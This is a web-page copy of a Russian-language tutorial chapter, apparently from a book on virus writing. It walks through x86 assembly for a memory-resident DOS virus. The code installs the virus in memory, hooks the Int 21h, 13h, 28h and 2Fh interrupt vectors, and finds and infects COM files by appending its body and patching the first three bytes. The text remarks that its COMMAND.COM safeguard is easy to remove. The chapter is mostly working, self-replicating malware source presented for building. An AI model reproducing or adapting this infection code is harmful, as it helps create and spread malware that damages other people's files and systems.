Мы поможем в написании ваших работ!



ЗНАЕТЕ ЛИ ВЫ?

Копируем вирусный код в память

Поиск

Теперь настало время переписать в память код вируса и подготовить его к работе в резидентном режиме:

mov word ptr vir,9090h;Подготавливаем mov tg_infect,0;вирус к рези-;дентной работе mov es,ax;И копируем его xor di,di;в память... mov cx,vir_len prg_copy: mov bl,byte ptr vir[di] mov byte ptr es:[di],bl inc di loop prg_copy

В самом начале нужно сбросить в ноль переменную "tg_infect", чтобы вирус не занимался заражением файлов, пока его об этом не попросят. Далее, в первые два байта кода вируса, который мы собираемся записывать в память, следует записать две команды NOP, или код 9090h (см п. 2.2).

Теперь тело вируса просто копируется в блок памяти, сегментный адрес которого задан в регистре AX.

Устанавливаем вектора прерываний на вирусные обработчики

Все подготовительные действия выполнены, и нам только осталось заменить адреса системных обработчиков прерываний Int 21h, Int 13h, Int 28h и Int 2fh на адреса вирусных обработчиков,после чего необходимо передать управление зараженной программе. Это мы сейчас и сделаем:

xor bx,bx;Устанавливаем;вектора преры- mov es,bx;ваний на вирус- cli;ные обработчики mov di,084h mov word ptr es:[di],to_new_21h mov es:[di+2],ax; Int 21h mov di,0bch mov word ptr es:[di],to_new_2fh mov es:[di+2],ax; Int 2fh mov di,04ch mov word ptr es:[di],to_new_13h mov es:[di+2],ax; Int 13h mov di,0a0h mov word ptr es:[di],0 mov es:[di+2],ax; Int 28h sti jmp fresh_bytes;Установка;завершена...

Модификация векторов прерываний в особых комментариях не нуждается. А команда "jmp fresh_bytes" передает управление на программный код,выполняющий восстановление исходных трех байт программы - жертвы.

Таким образом, мы разработали секцию инициализации нашего вируса. И поэтому настало время перейти к созданию резидентной секции. Все оставшиеся пункты этой главы будут посвящены именно разработке резидентной части.

Пишем резидентную часть

Начало резидентной части мы создали в первых пунктах главы (см п. 2.5). А теперь просто продолжим, и допишем до конца "заразную" часть вирусной программы:

infect: push cs;DS = CS... pop ds mov ax,ds;TSR - коррекция sub ax,11h;DS... mov ds,ax cmp tg_13h,0;INT 13h;выполняется? je cs:all_right;Нет... jmp cs:exit_zarasa;Да - на выход

Сразу за меткой "infect" мы записали команды которые корректируют содержимое DS при работе в резидентном режиме. Если этого не сделать, то относительный адрес каждой ячейки памяти придется уменьшать на 110h (см п. 2.5).Далее вирус проверяет значение переменной "tg_13h". Дело в том, что резидентный вирус обязательно должен заражать файлы, находясь в памяти, и поэтому без обращения к диску в резидентном режиме нам не обойтись. Такое обращение, естественно, должно происходить только в те моменты,когда никакие другие программы не работают с диском. Если это условие не соблюдается, непременно возникнет программный конфликт, что приведет к неприятным последствиям. Особенно это относится к тем случаям,когда на машине установлен какой-нибудь кэш (например, SMARTDRIVE или HYPERDISK). В этом случае может случиться так, что вирус и кэш попробуют обратиться к диску одновременно, а это недопустимо!

Решить проблему помогает введение переменной "tg_13h". Она принимает значение " 1 ", когда к диску выполняется обращение, или значение " 0 ", если в данный момент обращения к диску нет. Для инициализации переменной используется специальный "фильтр" прерывания Int 13h, который будет описан ниже.

Итак, если " tg_13h " равна " 1 ",вирус возвращает управление прерванной программе,в противном случае работа вирусного кода продолжается.

Заражаем COM - файл

В случае, если прерывание Int 13h не выполняется, можно заняться поиском подходящего COM - файла и его заражением. Этот процесс практически не отличается от действий нерезидентного вируса, и поэтому мы просто используем разработанный ранее блок, не останавливаясь подробно на его работе:

all_right: mov ah,2fh;Получим текущую int 21h;DTA (ES: BX) mov bp,bx mov cx,80h;Сохраним эту lea si,dta_save;DTA... mov di,bp save_dta: mov al,byte ptr es:[di] mov [si],al inc si inc di loop cs:save_dta find_first:;Найдем первый mov ah,4eh;файл... mov cx,00100111b lea dx,maska int 21h jnc cs:retry_2 jmp restore_dta find_next: mov ah,3eh;Закроем непод- int 21h;ходящий файл jnc cs:retry_1 jmp cs:restore_dta retry_1: mov ah,4fh;Найдем следую- int 21h;щий... jnc cs:retry_2 jmp cs:restore_dta retry_2: mov cx,12;Сотрем старое lea si,fn;имя в буфере destroy_name: mov byte ptr [si],0 inc si loop cs:destroy_name xor si,si;И запишем туда mov di,bp;новое... copy_name: mov al,byte ptr es:[di+1eh] cmp al,0 je cs:check_command mov byte ptr fn[si],al inc si inc di jmp cs:copy_name check_command:;Проверим, не;является - ли call cs:search;файл командным cmp inside,1;процессором... je cs:retry_1 mov ax,3d02h;Откроем этот lea dx,fn;файл... int 21h jnc cs:save_bytes jmp cs:restore_dta save_bytes:;Считаем первые mov bx,ax;три байта mov ah,3fh mov cx,3 lea dx,old_bytes int 21h jnc cs:found_size jmp cs:close found_size:mov di,bp cmp word ptr es:[di+01ch],0 jne cs:more_64K;Найдем его раз- mov ax,es:[di+01ah];мер... count_size:mov si,ax;Вычислим;смещения... cmp ax,64000 jna cs:smallest more_64K: jmp cs:find_next smallest: test ax,000fh jz cs:krat_16 or ax,000fh inc ax krat_16: mov di,ax sub ax,3 mov byte ptr new_bytes[1],al mov byte ptr new_bytes[2],ah mov ax,di mov cl,4 shr ax,cl dec ax mov byte ptr add_to_ds,al mov byte ptr add_to_ds+1,ah mov ax,4200h;Считаем послед- xor cx,cx;ний байт... dec si mov dx,si int 21h jnc cs:read_last jmp cs:close read_last: mov ah,3fh mov cx,1 lea dx,last int 21h jc cs:close cmp last,'1';Индикатор зара- jne cs:write_vir;жения... jmp cs:find_next write_vir: mov ax,4200h;Запишем начало xor cx,cx;вируса... mov dx,di int 21h jc cs:close mov ah,40h mov cx,2 lea dx,end_file int 21h jc cs:close;И остальную mov ah,40h;часть... mov cx,vir_len - 2 lea dx,vir + 2 int 21h jc cs:close write_bytes:;Запишем первые mov ax,4200h;три байта xor cx,cx xor dx,dx int 21h jc cs:close mov ah,40h mov cx,3 lea dx,new_bytes int 21h close: mov ah,3eh;Закроем зара- int 21h;женный файл restore_dta: mov cx,80h;Восстановим DTA lea si,dta_save mov di,bp dta_fresh: mov al,[si] mov byte ptr es:[di],al inc si inc di loop cs:dta_fresh

Как видите, в созданный ранее фрагмент были внесены некоторые изменения, в которых мы сейчас и разберемся.

Поскольку вирус будет заражать файлы в резидентном режиме, он будет пользоваться DTA активной в данный момент программы,что приведет к ее разрушению. Чтобы этого не происходило, нужно сохранить ее в области данных вируса, а после завершения работы вируса - восстановить. Получить адрес текущей DTA можно с помощью функции DOS 2Fh, которая и используется вирусом.

Следующее отличие - наш вирус проверяет, является - ли найденный файл командным процессором COMMAND.COM. Для этого используется процедура SEARCH, которая возвращает INSIDE = 1, если найден командный процессор, или INSIDE = 0 - в противном случае.

Так как иногда COM-файлы на самом деле имеют EXE - формат, их размер может превышать 64 Кбайта, и следует проверить, не является - ли найденный нами файл именно таким, иначе при заражении он будет безнадежно испорчен. С этой целью вирус считывает из DTA слово по смещению 01Ch, и сравнивает его с нулем. Если это слово равно нулю,размер файла не превышает 64 Кбайт,и его можно заражать. Кроме того, неплохо было бы проверить формат файла. Для этого нужно проверить его первые два байта. Если мы имеем дело с EXE - файлом, то указанные байты содержат ASCII - коды символов " M " и " Z ". Думаю, читатель сам при желании допишет несколько необходимых для этого команд.

И последнее - мы выяснили, (см. п. 2.5) что первыми двумя байтами, которые должны записываться в конец файла, должна быть команда перехода на секцию инициализации вируса. Эту функцию выполняют команды, записанные за меткой " write_vir ". Сам код команды перехода хранится в области " end_file ".

* Не спешите торжествовать по поводу того, что автор этой книги не смог сделать вирус, заражающий COMMAND.COM, и поэтому, вероятно, является "чайником". На самом деле вирус отлично работает с командным процессором и при этом не глюкует. Защита введена только для вашего же блага, так как заражение COMMAND.COM " нестандартным " вирусом - крайне неприятное событие. Подготовленный читатель без труда снимет такую " защиту ".

Восстанавливаем регистры

Перед тем, как передать управление прерванной программе, необходимо восстановить значения регистров, которые имели место при получении управления резидентной программой:

exit_zarasa:;Восстановим;регистры;процессора... pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax popf mov ss,cs:ss_save-110h;Восстановим mov sp,cs:sp_save-110h;стек... iret

Кроме того, вирус восстанавливает стек прерванной программы, без чего дальнейшая работа невозможна.



Поделиться:


Последнее изменение этой страницы: 2016-07-16; просмотров: 391; Нарушение авторского права страницы; Мы поможем в написании вашей работы!

infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 3.142.198.108 (0.009 с.)